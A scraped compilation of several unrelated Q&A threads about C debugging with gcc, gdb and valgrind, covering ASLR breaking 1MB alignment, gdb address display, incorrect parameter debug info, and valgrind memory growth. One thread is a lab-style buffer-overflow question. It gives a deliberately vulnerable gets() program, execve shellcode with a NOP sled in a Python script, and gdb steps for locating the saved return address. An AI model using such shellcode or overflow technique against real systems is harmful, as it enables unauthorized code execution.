I'm writing tests for code to handle memory on powers-of-two boundaries, and I needed a 1MB block of memory on a 1MB boundary for the tests. The code worked for small blocks, but not big ones. Eventually, I worked out it was because my supposedly aligned data was not aligned to a 1MB boundary.
(I can work around this, obviously, but I want to know what's going on.)
This code compiles without warnings, objdump says the variable is at a reasonable address, but when I run it, it's aligned on a 4K boundary, not 1M.
cat x.c ; gcc --version ; uname -a ; gcc -Wall x.c && ( objdump -x a.out | grep test_data ; ./a.out )
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct data {
char memory[1024*1024];
};
static struct data __attribute__(( aligned( 0x100000 ) )) test_data = { 0 };
int main( int argc, const char **argv )
{
printf( "test_data is actually here: %p\n", &test_data );
return 0;
}
gcc (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Linux Lubuntutu 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
0000000000400000 l O .bss 0000000000100000 test_data
test_data is actually here: 0x5600cb9fe000
Running under gdb is interesting:
Reading symbols from ./a.out...done.
(gdb) display &test_data
1: &test_data = (struct data *) 0x400000 <test_data>
(gdb) start
Temporary breakpoint 1 at 0x659: file x.c, line 13.
Starting program: /tmp/a.out
Temporary breakpoint 1, main (argc=1, argv=0x7fffffffe038) at x.c:13
13 printf( "test_data is actually here: %p\n", &test_data );
1: &test_data = (struct data *) 0x555555954000 <test_data>
(gdb) print &test_data.memory[16]
$1 = 0x555555954010 <test_data+16> ""
(gdb) c
Continuing.
test_data is actually here: 0x555555954000
This is a loader, or possibly security module, feature.
The code has been moved in memory by a similar amount, presumably as part of address-space layout randomisation, but it is by a random number of 4k pages, which will break any coarser alignment requested by programs.
Linking the program statically stops that from happening, at least at the moment.
Related
Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 3 years ago.
Improve this question
I wrote a (to show the problem) a simple C-pgm which has a function func() in the source code and another function funcs() in a shared lib; the compilation is done with:
$ gcc -shared -fPIC -o libfuncs.so -m64 -g funcs.c
$ gcc -g -m64 -fPIC -o stack stack.c -L. -lfuncs
i.e. it's a 64-bit compiled phm and shared lib:
$ file stack libfuncs.so
stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=bf7a7e15181e110789a4ee0b237f3a8ec58d4823, not stripped
libfuncs.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=f1ffa166db952b92479c36169252e5ddff01e19e, not stripped
When I examine this with gdb I have the questions: Why the 64-bit addr char *p is shown as 0x400734 or after a malloc() as 0x602010, I would expect 8 bytes as it is for the char *p in the shared lib, shown as 0x7ffff7bd9609:
Breakpoint 1, main () at stack.c:12
12 char *p = "hello";
(gdb) n
14 p = (char *) malloc(10);
(gdb) p p
$1 = 0x400734 "hello"
(gdb) n
16 func(p, "foo");
(gdb) p p
$2 = 0x602010 ""
(gdb) s
func (p=0x602010 "", s=0x40073a "foo") at stack.c:25
25 char *a = "bla";
(gdb) n
27 }
(gdb) p a
$3 = 0x40073e "bla"
(gdb) n
main () at stack.c:17
17 funcs(p, "foo"); // this is a shared lib
(gdb) s
funcs (a=0x602010 "", b=0x40073a "foo") at funcs.c:8
8 char *p = "bar";
(gdb) n
10 }
(gdb) p p
$4 = 0x7ffff7bd9609 "bar"
When code runs under gdb, address space layout randomization is disabled for easier debugging and reproducibility. This makes it easier to pack all relevant allocation bits into the first 32 bit addresses.
There is nothing special about it, and with big-enough allocations you will start seeing higher addresses.
Try printing the pointers in the code, rather than in gdb, and see how it goes.
Note: assess space layout randomization does not necessarily mean that allocations can't reside in the lower 32 bit addresses, just that randomization takes part of the space. Also, it depends on the actual address randomization algorithm.
I have to inject a code in the following buffer overflow program. The code should print the hostname. I have an opcode (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80) which works. I have used NOPs and repeated return address. But I'm not able to run the code with it and I always end up with a segmentation fault. Can anyone help me on this?
Vulnerable.c
#include <stdio.h>
#include <stdlib.h>
int
main(int argc, char * * argv)
{
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}
int
vulnerable(void)
{
char buf[100];
printf("enter your name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n Welcome", buf );
}
I compiled the above program with
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Shellcode.py
print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6
I have called this python program in command line by
python shellcode.py | ./vulnerable
I suggest you to turn on core dump:
ulimit -c unlimited
then do a simple buffer overflow like perl -e 'print "A"x130' and system will generate the dump: open it with gdb -c core and you will see %eip=0x41414141
Then you can reduce the buffer injected like perl -e 'print "A"x120' until you get exactly the size of buffer in order to overwrite RET.
Can you describe the steps to find out the return address?
c> shellcode.py >shellcode
c> gdb vulnerable
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) b vulnerable
Breakpoint 1 at 0x80484e6: file vulnerable.c, line 17.
(gdb) r <shellcode
Starting program: /home/armali/bin/so/c/vulnerable <shellcode
Breakpoint 1, vulnerable () at vulnerable.c:17
17 printf("enter your name: ");
(gdb) info frame
Stack level 0, frame at 0xbffff7bc:
eip = 0x80484e6 in vulnerable (vulnerable.c:17); saved eip 0x80484c9
called by frame at 0xbffff7cc
source language c.
Arglist at 0xbffff7bc, args:
Locals at 0xbffff7bc, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff7bc, eip at 0xbffff7c0
The example shows that the return address eip 0x80484c9 is saved at 0xbffff7c0.
System
Fresh install of codeblocks 12.11 + mingw pack.
win7 64
gcc 4.7.1
gdb 7.5
Example code
Compiled with -g and no optimization.
#include <stdio.h>
void foo(int a, int b);
int main() {
foo(400, 42);
return 0;
}
void foo(int a, int b) {
a = a - 10;
b = a + 1;
printf("y2 %d\n", b);
}
Problem
I put a breakpoint on "void foo(int a, int b)" and I look value of b as I step through the 3 lines.
Either with the codeblocks debugging features or with the gdb command line, the value of b is 42 instead of being 391.
The console output is correct, 391.
GDB commands
C:\DebugTest>"C:\Program Files (x86)\CodeBlocks\MinGW\bin\gdb.exe"
GNU gdb (GDB) 7.5
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
(gdb) file bin/Debug/DebugTest.exe
Reading symbols from C:\DebugTest\bin\Debug\DebugTest.exe...done.
(gdb) break foo
Breakpoint 1 at 0x401363: file C:\DebugTest\main.c, line 14.
(gdb) run
Starting program: C:\DebugTest\bin\Debug\DebugTest.exe
[New Thread 3596.0x658]
Breakpoint 1, foo (a=400, b=42) at C:\DebugTest\main.c:14
14 a = a - 10;
(gdb) print b
$1 = 42
(gdb) step
15 b = a + 1;
(gdb) print b
$2 = 42
(gdb) step
17 printf("y2 %d\n", b);
(gdb) print b
$3 = 42
(gdb)
Remarks
When the same operations are done without a function, with a and b as local variables inside main, the debug output is correct.
When compiled with gcc 4.4.1, the debug output is correct.
Any idea what could be wrong ? =)
I searched on gcc bugzilla and found this bug report :
Bug 54218 - Debug info for function parameters is incorrect when compiled with -O0"
Althoug the report is about gcc 4.8 and I'm using 4.7, I tried the proposed workaround and it works !
Compiling with -fvar-tracking allows GDB to print the correct value for b after assignment.
gcc does not generate debugging info correctly for values that are in registers -- either values that have been put in registers or values that start there due to the calling conventions. This is a long-standing problem with gcc since at least 4.0, and makes it tricky to debug things.
Sometimes the optimizer is smarter than the debugger. Try debugging unoptimized code, or step through disassembly and watch the HW registers directly rather than stepping through C source lines and watching the debugger's idea of what the variables are.
Consider this small program:
#include <stdio.h>
#include <stdlib.h>
// Change 60000 to 70000 and valgrind (memcheck) eats my memory
#define L (60000)
#define M (100*(1<<20))
int main(void) {
int i;
for (i = 0; i < M; ++i) {
unsigned char *a = malloc(L);
a[i % L] = i % 128; // Touch something; a[0] is not enough
free(a);
if (i % (1<<16) == 0)
fprintf(stderr, "i = %d\n", i);
}
return 0;
}
Compiling with gcc -o vg and running valgrind --leak-check=full ./vg works fine, with memcheck using roughly 1.5% of my memory. However, changing L to 70000 (I suppose the magic limit is 1<<16), memcheck uses an ever-increasing amount of memory, until the kernel finally kills it.
Is there anything one can do about this? There is obviously no leak, but there appears to be one in valgrind itself (!?), making it difficult to use for checking programs with lots of large and short-lived allocations.
Some background, not sure which is relevant:
$ valgrind --version
valgrind-3.7.0
$ gcc --version
gcc (GCC) 4.4.6 20110731 (Red Hat 4.4.6-3)
$ /lib/libc.so.6
GNU C Library stable release version 2.12, by Roland McGrath et al.
$ uname -rms
Linux 2.6.32-220.2.1.el6.x86_64 x86_64
This is very likely caused by a gcc 4.4 bug,
which is bypassed in valgrind 3.8.0 (not yet released)
extract from Valgrind 3.8.0 NEWS file:
n-i-bz Bypass gcc4.4/4.5 wrong code generation causing out of memory or asserts
Set the resource limit of your process to unlimited using setrlimit So that kernel won't kill your process if you exceed men limit. And thus kernel think you are okay extending into the virtual address space.
Hope this helps.
I have a multithreaded (pthreads) program in which main() calls a function omp_file_open_all() and passes in a string as char* alongwith other arguments. I was debugging something using gdb and saw that gdb does not print out the string value correctly, whereas a printf inside the function prints it out correcly.
Breakpoint 1, omp_file_open_all (fd=0x423bb950, filename=0x7f605df078e0 "", mode=-16843009) at pthread_coll_file_open.c:29
29 if(omp_get_thread_num() == MASTER)
(gdb) print filename
$1 = 0x7f605df078e0 ""
So gdb shows filename as empty, whereas a printf inside the function outputs the correct value as "/tmp/test.out". The function being called (omp_file_open_all) is defined as follows (not in the same file as main()):
int omp_file_open_all (int fd, char* filename, int mode);
I cant post my program here as this is a part of a larger code thats approx. 1500 lines of code. 'filename' is a global variable and is set in main() by the main thread before newer threads are spawned.
So this is not an error, and I merely stumbled across it, but I am interested in finding out why gdb does not display the correct value.
OS: 64bit OpenSUSE,
gdb 6.8
Thanks for your help.
There might be some thing going wrong in your code. With the following code snippet, I am getting the string printed by gdb correctly.
#include <stdio.h>
#include <stdlib.h>
void checkString( char* fileName )
{
printf("%s", fileName);
}
int main()
{
char* name = "temp";
checkString(name);
return 0;
}
mahesh-babu-vattiguntas-macbook-pro:Desktop mahesh$ gdb gdb.out
GNU gdb 6.3.50-20050815 (Apple version gdb-1469) (Wed May 5 04:36:56 UTC 2010)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin"...Reading symbols for shared libraries .. done
(gdb) b gdb.c:6
Breakpoint 1 at 0x100000ebc: file gdb.c, line 6.
(gdb) run gdb.out
Starting program: /Users/mahesh/Desktop/gdb.out gdb.out
Reading symbols for shared libraries +. done
Breakpoint 1, checkString (fileName=0x100000f05 "temp") at gdb.c:6
6 printf("%s", fileName);
(gdb) p fileName
$1 = 0x100000f05 "temp"
(gdb)
Try stepping forward one line (gdb "s" command) after you hit the breakpoint, then try printing it again. I've sometimes seen gdb have trouble displaying parameter values correctly when breaking at the beginning of a function.
My first guess was that there is a scoping issue, since the name of the function parameter and your global variable is identical. However, this does not seem to be the case for the following very small program:
#include <cstdio>
static char const* filename = "something";
int foobar(char const* filename)
{
printf("%s\n", filename);
}
int main(int argc, char** argv)
{
return foobar("somethingelse");
}
Compiled with:
g++ -ggdb -g3 -O0 test.cpp -o test
GDB (7.2, also on x64 but Ubuntu) gives:
Breakpoint 1, foobar (filename=0x400706 "somethingelse") at test.cpp:7
7 printf("%s\n", filename);
(gdb) p filename
$1 = 0x400706 "somethingelse"
So it's not about scoping per-se. Also, the output suggests that the parameter is indeed an empty string at execution time. Could you please provide us with the output of bt at the same time you break into the debugger? Last two stack frames are sufficient.